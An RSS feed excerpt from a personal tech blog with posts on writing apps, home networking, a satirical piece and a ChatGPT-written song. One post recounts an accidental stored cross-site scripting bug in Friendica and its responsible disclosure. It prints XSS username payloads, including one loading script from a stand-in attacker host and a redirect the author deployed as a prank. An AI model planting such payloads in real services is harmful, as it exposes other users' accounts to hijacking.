        <description>&lt;p&gt;I&#39;ve used &lt;a href=&#34;https://ia.net/writer&#34;&gt;iA Writer&lt;/a&gt; on Mac and iPad for years as my main writing environment. I&#39;m typing this in it now. It&#39;s strongly opinionated in the right ways: iA made a lot of design decisions on my behalf so that I&#39;m not distracted by the temptation to fiddle with a thousand configuration knobs instead of, well, &lt;em&gt;writing&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;I leaped at the chance to try an early beta of their new &lt;a href=&#34;https://ia.net/presenter&#34;&gt;iA Presenter&lt;/a&gt; app last year. It promised to make writing presentations as easy and pleasant as Writer made it to write words. In fact, their approaches are nearly identical. Both apps encourage you to write down your thoughts, and then they make them look pretty. Oh, how Presenter delivers on that promise! Rather than nudge me toward tweaking fonts, layout, page transitions, and all the other styling options you can possibly apply to a PowerPoint slide, it gives me an editor window where I write Markdown text. Then it renders that text as a series of beautifully styled, elegant slides. And with a couple of clicks, it can publish that presentation as a PDF that mixes slide content with narrator notes in a format that an audience can appreciate.&lt;/p&gt;
&lt;p&gt;iA officially launched Presenter today and I bought my (one-time purchase! non-subscription!) license immediately. I&#39;m grateful that I&#39;m not regularly expected to talk to crowds. I&#39;m also grateful that when I do, Presenter exists and saves me from the additional stress of trying to make my content look nice on a screen. It&#39;s everything I love and appreciate about Writer&#39;s approach to public writing, applied to public speaking. Congratulations, iA, and thanks!&lt;/p&gt;
</description>
      
    </item>
    
    <item>
      <title>Accidentally Hacking the Planet</title>
      <link>https://honeypot.net/post/accidentally-hacking-the-planet/</link>
      <pubDate>Tue, 30 May 2023 15:27:28 +0000</pubDate>
      
      <guid>https://honeypot.net/post/accidentally-hacking-the-planet/</guid>
      
        <description>&lt;p&gt;Last summer I &lt;a href=&#34;https://honeypot.net/post/trying-failing-to-hack-wall-of-sheep/&#34;&gt;tried to hack the Wall of Sheep&lt;/a&gt; at DEF CON. It didn&#39;t work. The short version is that I tried to make a &lt;a href=&#34;https://owasp.org/www-community/attacks/xss/&#34;&gt; Cross Site Scripting (XSS)&lt;/a&gt; attack against the Wall by crafting a username:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;script&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;type&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;text/javascript&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;alert&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;I was here.&amp;#34;&lt;/span&gt;);&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;/script&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Because I&#39;m kind of a smartass, I later changed my Mastodon username to something similar:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;script&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;alert&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Tek&amp;#34;&lt;/span&gt;);&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;/script&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Then I laughed about it with my geeky friends and promptly forgot all about the joke.&lt;/p&gt;
&lt;p&gt;And then late at night on Mother&#39;s Day Eve this year, some people started sending me messages like &amp;quot;why is your name popping up on my screen?&amp;quot; and &amp;quot;please make that stop&amp;quot; and &amp;quot;DUDE NO REALLY PLEASE STOP IT&amp;quot;. I had another laugh and tried to go to sleep, until I realized, oh, this isn&#39;t good. Those people were all on various &lt;a href=&#34;https://friendi.ca&#34;&gt;Friendica&lt;/a&gt; instances, and when my username came across their timeline, the server software was incorrectly embedding it in the HTML as a real &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; tag instead of displaying it as the literal text &lt;code&gt;&amp;lt;script&amp;gt;alert(&amp;quot;Tek&amp;quot;);&amp;lt;/script&amp;gt;&lt;/code&gt;. In the web world, that&#39;s about as bad as an attack can get. The &lt;a href=&#34;https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N&amp;amp;version=3.1&#34;&gt;US government&#39;s CVSS calculator&lt;/a&gt; scored it as a perfect 10.0.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;An attacker (me, by accident, in this case) could exploit the vulnerability without having any access to those Friendica instances.&lt;/li&gt;
&lt;li&gt;The attack was simple: I changed my username to a bit of valid JavaScript.&lt;/li&gt;
&lt;li&gt;All I had to do to trigger the vulnerability was to get my username to show up on the victim&#39;s screen. If I sent them a message, or if any of their friends saw and boosted my message so that it appeared in the victim&#39;s timeline, then the trap was sprung.&lt;/li&gt;
&lt;li&gt;My little joke was annoying but harmless. A malicious attacker could just as easily change their username to&lt;/li&gt;
&lt;/ul&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;script&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;src&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;https://hackerz.ru/badstuff.js&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;Hi&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;/script&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;The malicious JavaScript could do literally anything with the victim&#39;s account that the victim could do. It could look at all their private messages and upload them to another server, or change their password, or message all of their friends, or change their own username to be another bit of malicious JavaScript and start a chain reaction.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;That wasn&#39;t funny at all. I got up and dashed off an email to Friendica&#39;s security email address. I also found that some of the people I&#39;d been talking to via Mastodon were Friendica maintainers, and I messaged them with my concerns.&lt;sup id=&#34;fnref:1&#34;&gt;&lt;a href=&#34;#fn:1&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;1&lt;/a&gt;&lt;/sup&gt; Satisfied that the right people had been notified, I went back to bed.&lt;/p&gt;
&lt;p&gt;The next morning I told my wife and kid about the unexpected evening I&#39;d had. My kid instantly piped up with &amp;quot;Dad! Dad! You should change it to a Rickroll!&amp;quot;&lt;sup id=&#34;fnref:2&#34;&gt;&lt;a href=&#34;#fn:2&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;2&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;My jaw hit the floor. Yes, of course. It must be done. My amazing wife egged me on by insisting that as it was Mother&#39;s Day, I owed this to her. After a little experimentation, I came up with a new username:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;script&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt;window.&lt;span style=&#34;color:#a6e22e&#34;&gt;location&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;https://is.gd/WVZvnI#TekWasHere&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;/script&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;It was a little longer than the maximum of 30 characters that Mastodon allows you to enter, but since I have direct access to my Mastodon instance&#39;s database, it was easy to work around that limit.&lt;/p&gt;
&lt;p&gt;I began receiving new messages that I&#39;m pretty sure were all in good humor. Well, somewhat sure.&lt;/p&gt;
&lt;p&gt;To their vast credit, the Friendica gang pounced on the problem quickly. Some instances rolled out a preliminary fix later that day. A week after, the team rolled out &lt;a href=&#34;https://github.com/friendica/friendica/releases/tag/2023.05&#34;&gt;a new public release&lt;/a&gt; so that all other Friendica admins could patch their systems.&lt;/p&gt;
&lt;p&gt;It&#39;s easy to make a mistake. That&#39;s inevitable. The world would be better if everyone reacted like the Friendica maintainers, by asking questions, finding a solution, then quickly fixing those mistakes. Well done.&lt;/p&gt;
&lt;div class=&#34;footnotes&#34; role=&#34;doc-endnotes&#34;&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id=&#34;fn:1&#34;&gt;
&lt;p&gt;Because this is how we do it, OK? It&#39;s fine to enjoy that moment of discovery, but when you find a broken window, you let someone know so they can fix it. You don&#39;t go in. And you never, ever use that knowledge to hurt people.&amp;#160;&lt;a href=&#34;#fnref:1&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&#34;fn:2&#34;&gt;
&lt;p&gt;Exact quote from the conversation: “You have the ability to do the funniest thing in history!” That&#39;s overselling it, but I appreciated their enthusiasm.&amp;#160;&lt;a href=&#34;#fnref:2&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
</description>
      
    </item>
    
    <item>
      <title>Favorite apps: PastePal</title>
      <link>https://honeypot.net/post/favorite-apps-pastepal/</link>
      <pubDate>Thu, 18 May 2023 19:54:49 +0000</pubDate>
      
      <guid>https://honeypot.net/post/favorite-apps-pastepal/</guid>
      
        <description>&lt;p&gt;&lt;a href=&#34;https://honeypot.net/post/favorite-apps-copied/&#34;&gt;I used to think&lt;/a&gt; the Copied &lt;a href=&#34;https://en.wikipedia.org/wiki/Clipboard_manager&#34;&gt;clipboard manager&lt;/a&gt; for Apple devices was spiffy. I don&#39;t know how or why, but that app disappeared from the Internet and the App Stores.&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;https://onmyway133.com/pastepal/&#34;&gt;PastePal&lt;/a&gt; seems to be its spiritual successor. It works perfectly, it syncs across devices, and the pro version is a one-time, reasonable $15 purchase. It&#39;s the only clipboard manager I&#39;ve found that checks all those boxes.&lt;/p&gt;
</description>
      
    </item>
    
    <item>
      <title>Pianos.</title>
      <link>https://honeypot.net/post/pianos/</link>
      <pubDate>Tue, 16 May 2023 20:11:09 +0000</pubDate>
      
      <guid>https://honeypot.net/post/pianos/</guid>
      
        <description>&lt;p&gt;I worked as a software developer with a strongly opinionated manager. He believed that we&#39;d achieve Peak Programmer Productivity™️ by standardizing on one common desktop setup. Of course, that meant we&#39;d all be writing Python code in Eclipse or some other similar abomination that he liked that month. This is for him.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;From now on, we&#39;ll all play the piano. This nonsense of everyone knowing a different instrument is costing us time and money. I&#39;ve played the piano for years, and I know you&#39;re going to like it.&lt;/p&gt;
&lt;p&gt;Yes, you too, violinists. Vibrato? In my time as a pianist, I&#39;ve never needed it.&lt;/p&gt;
&lt;p&gt;Drums? A piano is a percussion instrument. How many kinds of percussion do we need? What&#39;s that? No, they&#39;re not that different. Tempo, rhythms, yes, yes, we&#39;ll still have all that.&lt;/p&gt;
&lt;p&gt;Huh, woodwinds. Good point. Well, there are more percussion and string players than woodwind...ists, so they can figure something out.&lt;/p&gt;
&lt;p&gt;OK, we&#39;re getting sidetracked here. Look, this is going to be good for you, too! There are more pianos than violins – yes, and clarinets... what&#39;s that? Yes, and probably trumpets, too. Anyway, there are a lot of pianos. The next place you go will probably have a piano, so you&#39;ll have a leg up if you ever leave here. Not that you &lt;em&gt;would&lt;/em&gt;, am I right? But see, I&#39;m only thinking of your careers.&lt;/p&gt;
&lt;p&gt;Yes, I know we&#39;re picking my favorite instrument. That&#39;s a coincidence. I&#39;ve looked into lots of instruments, but we can all agree that pianos have certain advantages that... Who threw that? Indoor voices, please! Anyway, I&#39;ve looked into lots of instruments... no, I &lt;em&gt;haven&#39;t&lt;/em&gt; ever played a flute, but you&#39;ll find that... no, I will &lt;em&gt;not&lt;/em&gt; be shoving a piano there, thank you very much!&lt;/p&gt;
&lt;p&gt;Alright, meeting&#39;s over. Pianos. That&#39;s what we&#39;re all using, starting — hey, I don&#39;t appreciate that language. Let&#39;s all act like professional adults here.&lt;/p&gt;
&lt;p&gt;Pianos.&lt;/p&gt;
</description>
      
    </item>
    
    <item>
      <title>eero &#43; Firewalla = perfection</title>
      <link>https://honeypot.net/post/eero-plus-firewalla-perfection/</link>
      <pubDate>Sat, 13 May 2023 20:08:24 +0000</pubDate>
      
      <guid>https://honeypot.net/post/eero-plus-firewalla-perfection/</guid>
      
        <description>&lt;p&gt;I built our home Wi-Fi network on &lt;a href=&#34;https://amzn.to/42vreCE&#34;&gt;eero Pro 6&lt;/a&gt; mesh routers. It&#39;s great. I love it. It works as advertised. If your household is like most others, where no one has specific highly technical needs, stop reading this and buy an eero system. I&#39;ve recommended them to my friends and family with lots of happy feedback.&lt;/p&gt;
&lt;p&gt;However, our needs are specific and highly technical. Making and fixing computer networks is a significant chunk of my job. Information security is another huge chunk of it. We host servers in our house. And soon, our ISP&lt;sup id=&#34;fnref:1&#34;&gt;&lt;a href=&#34;#fn:1&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;1&lt;/a&gt;&lt;/sup&gt; will upgrade our Internet connection from 1Gbps to 10Gbps. eero has a few issues that complicate these uses:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;A persistent DHCP bug gives out the gateway eero&#39;s own IP as a DNS server (where it acts as a proxy), even if I configure custom DNS servers. This means that when I had a &lt;a href=&#34;https://pi-hole.net&#34;&gt;Pi-hole&lt;/a&gt;, most requests appeared to come from the eero itself and not the individual devices. Forget applying custom blocking policies to specific devices because there&#39;s no way to distinguish them.&lt;/li&gt;
&lt;li&gt;Hairpin NAT regularly breaks. If a device uses DNS to connect to a machine behind the eero gateway, say with Plex on an iPad configured to watch videos stored on a home server, it often works when I bring that device home and connect it to the same Wi-Fi as that server. For a while, at least. And then it won&#39;t until I remembered to reboot the whole network.&lt;/li&gt;
&lt;li&gt;The eero Pro 6 unit only has gigabit Ethernet jacks. If your Internet connection is faster than that, too bad. The newer eero Pro &lt;em&gt;6E&lt;/em&gt; units have single 2.5Gbps Ethernet jacks, which is almost worse. Although the gateway eero itself can have a 2.5Gbps Internet connection, it can&#39;t share the full speed of that connection with any other device.&lt;/li&gt;
&lt;li&gt;Its firewall settings are limited. I can either allow all remote hosts to connect to a specific port on an internal server, or not allow any hosts. I can&#39;t define rules like &amp;quot;allow connections to port 8080 from host A.B.C.D&amp;quot;, or &amp;quot;block connections from North Korea&amp;quot;. In practice, this means I have to set the eero to allow all traffic, then configure another firewall app on my server to enforce more tailored rules.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Enter the &lt;a href=&#34;https://firewalla.com/products/firewalla-gold-plus&#34;&gt;Firewalla Gold Plus&lt;/a&gt;. It&#39;s a freestanding firewall device with 4 2.5Gbps Ethernet jacks, and a phone (and web!) user interface that is as easy to use as eero&#39;s. I&#39;ve plugged the Firewalla directly into our Internet connection, and the eero gateway plugs into the Firewalla. I put the eero network into bridge mode so it only has to handle the Wi-Fi mesh network. The Firewalla assumed all routing and firewall duties. The setup works perfectly:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Firewalla&#39;s DHCP is more configurable and works correctly. Its DNS incorporates a lot of Pi-hole&#39;s functions like ad blocking and local DNS.&lt;/li&gt;
&lt;li&gt;Hairpin NAT works perfectly, or at least it hasn&#39;t broken yet in the few weeks since we got the device. I can connect to &lt;code&gt;myserver.example.com&lt;/code&gt; from my living room as easily as from Starbucks without reconfiguring anything when I travel between those networks.&lt;/li&gt;
&lt;li&gt;I don&#39;t have the equipment to test Firewalla&#39;s highest throughput yet. The box could max out at 1.1Gbps for all I could prove today. However, I doubt it. I can run benchmarks that pass 1Gbps of traffic in through 1 port and out through another without effort. Even if the Firewalla could only pass exactly 2.500Gbps through to the Internet connection, that would allow devices connected to the eero gateway to download at its current full 1Gbps speed &lt;em&gt;while&lt;/em&gt; the new, separate wired LAN is also pulling another 1.5Gbps through it. For future improvement, it can bond pairs of Ethernet ports together to act as 5Gbps ports. That&#39;s not the top speed of the 10Gbps Internet connection, but it&#39;s faster than any devices I own today.&lt;/li&gt;
&lt;li&gt;The firewall settings are vastly more sophisticated. I can open inbound ports to specific IPs or subnets, named groups of hosts, or geographical regions. I can also block &lt;em&gt;outbound&lt;/em&gt; connections. And unlike with eero, I get a detailed report of blocked and allowed connections.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;If I didn&#39;t host a home server, or if I weren&#39;t quite so super-nitpicky about security settings, or if our brilliant ISP wasn&#39;t upgrading our connection from &amp;quot;hella fast&amp;quot; to &amp;quot;that&#39;s just ridiculous&amp;quot;, our eero network would be fine as-is. I still happily recommend it to everyone I know. And despite my few complaints, I didn&#39;t &lt;em&gt;need&lt;/em&gt; to add a Firewalla to our working system. That said, I&#39;m happy I did. It elevated our already excellent little network to blissfulness.&lt;/p&gt;
&lt;div class=&#34;footnotes&#34; role=&#34;doc-endnotes&#34;&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id=&#34;fn:1&#34;&gt;
&lt;p&gt;If you live somewhere with &lt;a href=&#34;http://sonic.com/referral/84214ddh5&#34;&gt;Sonic&lt;/a&gt; Internet access, get it. Their service is fast, inexpensive, reliable, doesn&#39;t have data caps, and &lt;a href=&#34;https://www.sonic.com/blog/net-neutrality-lives-on-with-sonic&#34;&gt;supports net neutrality&lt;/a&gt;.&amp;#160;&lt;a href=&#34;#fnref:1&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
</description>
      
    </item>
    
    <item>
      <title>Wake up, little sunshine</title>
      <link>https://honeypot.net/post/wake-up-little-sunshine/</link>
      <pubDate>Fri, 05 May 2023 09:12:05 +0000</pubDate>
      
      <guid>https://honeypot.net/post/wake-up-little-sunshine/</guid>
      
        <description>&lt;p&gt;I prompted ChatGPT with: &amp;quot;Write a song I can sing to my son to get him awake and moving to get ready for school.&amp;quot;&lt;/p&gt;
&lt;p&gt;It replied with:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Verse 1&lt;/strong&gt;&lt;br&gt;
Wake up, little sunshine&lt;br&gt;
There’s a new day dawning&lt;br&gt;
You’ve got a big adventure&lt;br&gt;
It’s time to get moving&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Chorus&lt;/strong&gt;&lt;br&gt;
Rise and shine, let’s go to school&lt;br&gt;
Time to learn, time to grow&lt;br&gt;
Put on your shoes, grab your bag&lt;br&gt;
You’re ready to go&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Verse 2&lt;/strong&gt;&lt;br&gt;
Stretch out your arms and legs&lt;br&gt;
Take a deep breath and smile&lt;br&gt;
You’ll make new friends today&lt;br&gt;
And learn so much in a while&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Chorus&lt;/strong&gt;&lt;br&gt;
Rise and shine, let’s go to school&lt;br&gt;
Time to learn, time to grow&lt;br&gt;
Put on your shoes, grab your bag&lt;br&gt;
You’re ready to go&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Bridge&lt;/strong&gt;&lt;br&gt;
The world is waiting for you&lt;br&gt;
To see all that you can do&lt;br&gt;
So let’s start this day together&lt;br&gt;
And make it great, no matter the weather&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Chorus&lt;/strong&gt;&lt;br&gt;
Rise and shine, let’s go to school&lt;br&gt;
Time to learn, time to grow&lt;br&gt;
Put on your shoes, grab your bag&lt;br&gt;
You’re ready to go&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Outro&lt;/strong&gt;&lt;br&gt;
Wake up, little sunshine&lt;br&gt;
It’s time to start your day&lt;br&gt;
With a bright new adventure&lt;br&gt;
You’ll find your own way.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Said son, who is 15, seemed to appreciate me waking him up by belting this out in full operatic tenor. I&#39;m almost sure of it, despite any shouting to the contrary.&lt;/p&gt;
</description>
      
    </item>
    
    <item>
      <title>The Internet is a rough neighborhood</title>
      <link>https://honeypot.net/post/internet-is-rough-neighborhood/</link>
      <pubDate>Fri, 28 Apr 2023 22:23:44 +0000</pubDate>
      
      <guid>https://honeypot.net/post/internet-is-rough-neighborhood/</guid>
      
        <description>&lt;p&gt;This week I stood up &lt;a href=&#34;https://firewalla.com/products/firewalla-gold-plus&#34;&gt;a new firewall&lt;/a&gt; in front of my home network. This one has much better logging than the old one, and I&#39;ve been watching the block reports.&lt;/p&gt;
&lt;figure&gt;&lt;img src=&#34;blocked-inbound-connections.png&#34; width=&#34;30%&#34;/&gt;&lt;figcaption&gt;
            &lt;h4&gt;A screenshot of blocked inbound connection attempts, originating from all over the world.&lt;/h4&gt;
        &lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;Real talk, friends: DO. NOT. expose a machine to the open Internet unless you&#39;re 100% confident it&#39;s bulletproof.&lt;/p&gt;
&lt;p&gt;&amp;quot;I run my service on a custom port!&amp;quot; Doesn&#39;t matter.&lt;/p&gt;
&lt;p&gt;&amp;quot;I use IPv6!&amp;quot; Doesn&#39;t matter.&lt;/p&gt;
&lt;p&gt;&amp;quot;I&#39;m just a nobody!&amp;quot; Doesn&#39;t matter.&lt;/p&gt;
&lt;p&gt;Practice safer networking, every time, all the time.&lt;/p&gt;
</description>
      
    </item>
    
    <item>
      <title>Fox News fired Tucker Carlson</title>
      <link>https://honeypot.net/post/fox-news-fired-tucker-carlson/</link>
      <pubDate>Mon, 24 Apr 2023 16:54:39 +0000</pubDate>
      
      <guid>https://honeypot.net/post/fox-news-fired-tucker-carlson/</guid>
      
        <description>&lt;p&gt;However it&#39;s spun, &lt;a href=&#34;https://www.foxnews.com/media/fox-news-media-tucker-carlson-part-ways&#34;&gt;Fox News fired Tucker Carlson&lt;/a&gt;. Carlson had &lt;a href=&#34;https://www.adweek.com/tvnewser/here-are-the-top-rated-cable-news-shows-for-q1-2023/526747/&#34;&gt;the most popular cable news show&lt;/a&gt; by a wide margin, and it&#39;s inconceivable that Fox would simply &amp;quot;part ways&amp;quot; with their highest earner, with zero notice, without cause.&lt;/p&gt;
&lt;p&gt;Hint: it&#39;s never good to &lt;a href=&#34;https://www.pbs.org/newshour/nation/tucker-carlson-out-at-fox-news-agreed-to-part-ways-network-says&#34;&gt;cost your employer a billion dollars&lt;/a&gt; — not that Carlson is the only miscreant at Fox.&lt;/p&gt;
</description>
      
    </item>
    
    <item>
      <title>Integrate Things with Focus</title>
      <link>https://honeypot.net/post/integrate-things-with-focus/</link>
      <pubDate>Tue, 18 Apr 2023 19:06:01 +0000</pubDate>
      
      <guid>https://honeypot.net/post/integrate-things-with-focus/</guid>
      
        <description>&lt;p&gt;I use the &lt;a href=&#34;https://culturedcode.com/things/&#34;&gt;Things&lt;/a&gt; task manager to keep track of what I need to do. I use the &lt;a href=&#34;https://meaningful-things.com/focus&#34;&gt;Focus&lt;/a&gt; &lt;a href=&#34;https://en.wikipedia.org/wiki/Pomodoro_Technique&#34;&gt;pomodoro timer&lt;/a&gt; to help myself focus on a task that I&#39;m actively working on.&lt;/p&gt;
&lt;p&gt;Focus integrates well with another task manager, &lt;a href=&#34;https://www.keyboardmaestro.com/main/&#34;&gt;OmniFocus&lt;/a&gt;: you can drag an action from OmniFocus into Focus to create a task to work on, and that task will have a button that links back to the original OmniFocus action. Super convenient! It doesn&#39;t play well with Things, though. If you try the same process, you&#39;ll end up with multiple separate actions for each of the Things to-do&#39;s various properties.&lt;/p&gt;
&lt;p&gt;For example, this to-do has the title, note, checklist, tags, when, and deadline options filled in:&lt;/p&gt;
&lt;figure&gt;&lt;img src=&#34;things-to-do.png&#34; width=&#34;30%&#34;/&gt;&lt;figcaption&gt;
            &lt;h4&gt;A Things to-do with lots of options set&lt;/h4&gt;
        &lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;Dragging it to Focus creates a whole mess of random tasks:&lt;/p&gt;
&lt;figure&gt;&lt;img src=&#34;cluttered-focus.png&#34; width=&#34;30%&#34;/&gt;&lt;figcaption&gt;
            &lt;h4&gt;Focus with 8 unrelated tasks&lt;/h4&gt;
        &lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;That&#39;s not helpful. We can do better.&lt;/p&gt;
&lt;p&gt;First, I wrote &lt;a href=&#34;https://www.icloud.com/shortcuts/01a2d0cb323340e8a779fb798703eab6&#34;&gt;a shortcut&lt;/a&gt; using Things&#39;s &lt;a href=&#34;https://culturedcode.com/things/support/articles/2955145/&#34;&gt;shiny new Shortcuts actions&lt;/a&gt;. For each to-do currently selected in Things, it uses &lt;a href=&#34;https://meaningful-things.com/url-scheme&#34;&gt;Focus&#39;s URL scheme&lt;/a&gt; to create a Focus task with the item&#39;s title, notes, and due date, and a link back to the item in Things.&lt;/p&gt;
&lt;p&gt;Second, I made a &lt;a href=&#34;https://www.keyboardmaestro.com/main/&#34;&gt;Keyboard Maestro&lt;/a&gt; hot key macro, available only in Things, that executes my shortcut. When I select the to-do item above and press &amp;quot;option-F&amp;quot;, I get one single task with all the details set:&lt;/p&gt;
&lt;figure&gt;&lt;img src=&#34;clean-focus.png&#34; width=&#34;30%&#34;/&gt;&lt;figcaption&gt;
            &lt;h4&gt;Focus with 1 well-configured task&lt;/h4&gt;
        &lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;If I click the link icon next to the task&#39;s title, Things opens with that to-do selected.&lt;/p&gt;
&lt;p&gt;Ta-da! The workflow is slightly different than with OmniFocus, but only a little bit, and the result is just as useful.&lt;/p&gt;
</description>
      
    </item>
    
    <item>
      <title>Apple won&#39;t totally block unwanted emails</title>
      <link>https://honeypot.net/post/apple-wont-totally-block-unwanted-emails/</link>
      <pubDate>Thu, 23 Mar 2023 21:33:01 +0000</pubDate>
      
      <guid>https://honeypot.net/post/apple-wont-totally-block-unwanted-emails/</guid>
      
        <description>&lt;p&gt;Apple&#39;s email apps and services don&#39;t allow users to completely block senders. If someone is sending you messages you don&#39;t want to receive, tough. You&#39;re going to get them.&lt;/p&gt;
&lt;p&gt;The iCloud.com website&#39;s Mail app doesn&#39;t have a sender block mechanism. Instead, it offers a way to create rules based on each message&#39;s attributes, such as its sender. Rules support these actions:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Move to Folder&lt;/li&gt;
&lt;li&gt;Move to Trash&lt;/li&gt;
&lt;li&gt;Forward to&lt;/li&gt;
&lt;li&gt;Mark as Read&lt;/li&gt;
&lt;li&gt;Move to Folder and Mark as Read&lt;/li&gt;
&lt;li&gt;Move to Trash and Mark as Read&lt;/li&gt;
&lt;li&gt;Forward to an Email Address and Mark as Read&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;None of those actions are the same as bouncing or silently discarding an email. At most, you can have the email sent to your Trash folder.&lt;/p&gt;
